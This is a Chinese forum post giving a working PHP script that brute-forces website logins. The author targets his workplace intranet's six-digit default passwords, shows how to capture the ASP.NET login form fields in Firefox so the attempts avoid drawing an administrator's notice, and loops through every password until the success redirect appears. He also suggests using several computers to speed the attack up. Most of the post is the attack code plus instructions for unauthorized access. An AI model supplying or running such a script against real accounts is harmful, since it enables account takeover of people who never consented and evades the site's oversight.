设为首页 收藏本站
查看: 976|回复: 0

[经验分享] php脚本暴力破解网站密码(附php源代码)

[复制链接]
发表于 2017-3-24 12:27:40 | 显示全部楼层 |阅读模式
有一种网站,没有验证码;有一种网站,你可以利用某种手段获取到登陆者的用户名(比如邮箱啦等等,用户名你是知道的),你所不知道的仅仅是登录密码,有没有什么方法可以破解呢?

    我们单位有一个内网(虽是内网,但有时在家也可以登录),用户名可以搞到,密码原始是六位的数字(其实大多数人都没有修改过),而且牛叉的是,这个网站登录时,如果输入错误次数过多也不会让你输入验证码,这太好了,心中窃喜,可以用暴力破解法嘛。


     暴力破解,要用到遍历,直到试出你要的用户名为止,这些都简单,关键是如何用技术去实现。其实这种技术,说白了就是网络机器人,网络机器人有很多种,有名字的比如蜘蛛、爬虫等等,大概就是依据对http协议的了解,去编写自动化的网络操作。注意,自动化这三个字很关键,因为传统的浏览器模式无法实现自动化。

     编写这个暴力破解网站密码的网络机器人,要用到php,因为php简直就是为了网络而生的,有相当方便的函数供使用,很方便,而且php是脚本语言,用起来也容易。在这里,我是拿php当shell脚本用的,直接在windows的控制台里执行,没这么用过的哥们自己上网找找,这我就不过多解释了。

     本次破解过程所用到的原材料有:php环境,firfox,一个名为LIB_http.php的php库(是某个大牛写的,我这里借用一下,会用到这个库里的http()函数,这个库的下载连接地址为:http://www.webbotsspidersscreenscrapers.com/DSP_download.php),好了,就这三个,下面开讲。



    先说说破解的大致思路,正常情况下我们用浏览器,填写用户名和密码,然后点击提交按钮,信息就被发送到后端,如果用户名和密码错误,将返回登陆页面,反之则返回成功页面。

     那么,我们要做的就是,模拟浏览器的这种行为,然后根据返回的结果判定密码是否正确。

     第一步,为了完全100%的模拟浏览器,我们必须先要知晓点击“提交”按钮后,都发送了哪些数据,如果只发送密码和用户名,其他数据对不上,后台服务器就会产生一个异常,而且更可怕的是,这会引起管理员的注意,搞不好会封掉你的ip,那你就玩完了。
     
     关键是怎么才能知道提交了哪些数据呢?用firfox吧,里面有一个很牛叉的功能。用firfox登录你想破解的网站,单击右键选择“查看元素”,点“控制台”,点“网络”下拉框,选中“记录请求和响应主体”。这样一来就可以利用firfox为我们抓包了。之前有人推荐firdebug,未免是大材小用了,其实firfox原本的东东就够了,而且很好。在登录页面上随便输入一个用户名和密码,点击“登录”,可以在控制台看到http请求,一般要找post型的。点击打开,在“已发送表单数据”可以看到都发送了那些数据,要记录下来,一些asp.net的网站,由于用到了一些验证控件,会出现不少东西,比如__VIEWSTATE之类的,甭管它,记下来,过会用。对了,有一点忘说了,用firfox这个工具,还可以知道提交的目标地址(比如有时候是一个servlet,或者是jsp,aspx都可能,要看好)和上连接(不知道上连接的请自行补脑)。

     知道发什么数据了,就要开始编程序了,源代码如下:
<?php
include("php_lib/LIB_http.php");

error_reporting(E_ALL^E_NOTICE);//除去notice提示

$action="登陆页面提交的后台地址,查看方法上面已讲";
$method="POST";//注意,必须是大写,GET方法也一样
$ref="上连接地址,查看方法上面已讲";
$data_array['ctl00$MainContent$tbStuId']="";//要发送的数据,都写到一个数组里,数据的查看方法上面已讲。
$data_array['ctl00$MainContent$tbIdentityId']="";
$data_array['ctl00$MainContent$LoginUser$UserName']="用户名";
//$data_array['ctl00$MainContent$LoginUser$Password']=$strpass(密码);
$data_array['ctl00$MainContent$LoginUser$LoginButton']="登录";
$data_array['__VIEWSTATE']="/wEPDwUKMTM2OTQ5MzkyMA9kFgJmD2QWAgIDD2QWBgIDDw9kFgIeBXN0eWxlBRJtYXJnaW4tbGVmdDoxNjBweDsWBAIBDzwrAAUBAA8WAh4HVmlzaWJsZWhkZAIDDw9kFgIfAAUzZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDoxMDBweDttYXJnaW4tcmlnaHQ6MTAwcHg7ZAIFDw8WBh4FV2lkdGgbAAAAAAAAZEABAAAAHgRfIVNCAoACHwFoZGQCBw8PFgIeBFRleHQF+AHljJfkuqzluILlrabnlJ/otYTliqnkuovliqHnrqHnkIbkuK3lv4PniYjmnYPmiYDmnIkmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDvljJfkuqzlt6XllYblpKflrabnoJTliLYmbmJzcDsmbmJzcDsmbmJzcDvCqTIwMTEtMjAxM2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSZjdGwwMCRNYWluQ29udGVudCRMb2dpblVzZXIkUmVtZW1iZXJNZcVB092mLxjWH8VqPqNfoiesnMTTfv/8XLUqN0IvHeWh";
$data_array['__EVENTVALIDATION']="/wEdAAg4OGQHZT9XqX7BisSv3xvacc3fpmfwSgCZgt7RGgsQTYT2MeBFtJvt+JB+if6UByL53d8HLcsMPPSWw23i74K4rVJzD9epthGmOWrcxXKP7u1vquycB/s6+IJJa4hgd+jsl1raoinWIrD1aNCfPQQ5CQtH8leGQTiMCnhMu4O3EZWz6MelE6yxI8DG7fS+/BYQQRNWIIZPR21FZQRefgAc";
$data_array['__EVENTTARGET']="";
$data_array['__EVENTARGUMENT']="";

for($pass=000000; $pass<999999;$pass++){
$strpass=strval($pass);
$data_array['ctl00$MainContent$LoginUser$Password']=$strpass;
$response = http($target=$action,$ref,$method,$data_array,EXCL_HEAD);
$str = $response['STATUS'];
echo $pass." ";
if($str['url']=="登录成功后的跳转页面"){
echo "\n\n\nthe result is:".$pass."\n";//输出密码
return;
}
//echo $str['url']."\n";
}
?>

上面的代码完全没问题,你要改动的,仅仅是$data_array数组的内容,这要依据firfox去查看。上面的数组$data_array内容是我自己的,你们破解的时候还是要用firfox自己去看,一定不能错,否走后台出异常,而且数据不能多,不能少,类型也必须对。


好吧,就到这里了,如果你网速快的话,1分钟试验300~400个密码没有问题,如果多用几台电脑就更快了,在我写这段文字的时候,我的电脑还在破解一个密码,要等到明天一早了,先睡了。对了,这都告诉你们了,可千万别干坏事啊。

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-354661-1-1.html 上篇帖子: PHP获取客户端、PHP获取服务器相关信息 下篇帖子: 【转载】PHP CURL 参数详解
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表